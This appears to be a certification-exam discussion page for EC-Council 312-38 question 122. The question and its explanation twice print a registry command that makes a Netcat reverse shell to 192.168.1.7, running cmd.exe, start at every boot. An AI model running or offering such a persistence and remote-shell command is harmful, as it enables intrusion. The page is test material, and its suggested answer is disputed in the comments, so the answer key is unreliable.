Exam 312-38 topic 1 question 122 discussion

Actual exam question from ECCouncil's 312-38

Question #: 122
Topic #: 1

You run the following command on the remote Windows server 2003 computer: c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"
What task do you want to perform by running this command? Each correct answer represents a complete solution. Choose all that apply.

A. You want to perform banner grabbing.
B. You want to put Netcat in the stealth mode.
C. You want to add the Netcat command to the Windows registry.
D. You want to set the Netcat to execute command any time.

Show Suggested Answer

Suggested Answer: CBD 🗳️
According to the question, you run the following command on the remote Windows server 2003 computer: c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"
By running this command, you want to perform the following tasks:
Adding the NetCat command in the following registry value:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Putting the Netcat in the stealth mode by using the -d switch. Setting the Netcat tool to execute command at any time by using the -e switch.
Answer option A is incorrect. You can perform banner grabbing by simply running the nc <host> <port>.

by [deleted] at April 4, 2025, 10:43 a.m.

Comments

Submit Cancel

joaovqbraga

1 week, 4 days ago

Selected Answer: CD

B. You want to put Netcat in the stealth mode. (Você quer colocar o Netcat no modo furtivo.) O uso do -d (detach) pode fazer com que o Netcat rode em segundo plano, o que contribui para um comportamento mais furtivo, mas o termo "stealth mode" não é uma funcionalidade específica do Netcat por si só no contexto de uma porta ou varredura furtiva. O principal objetivo aqui não é o "modo furtivo" em si, mas sim a persistência e o controle remoto.

upvoted 1 times

...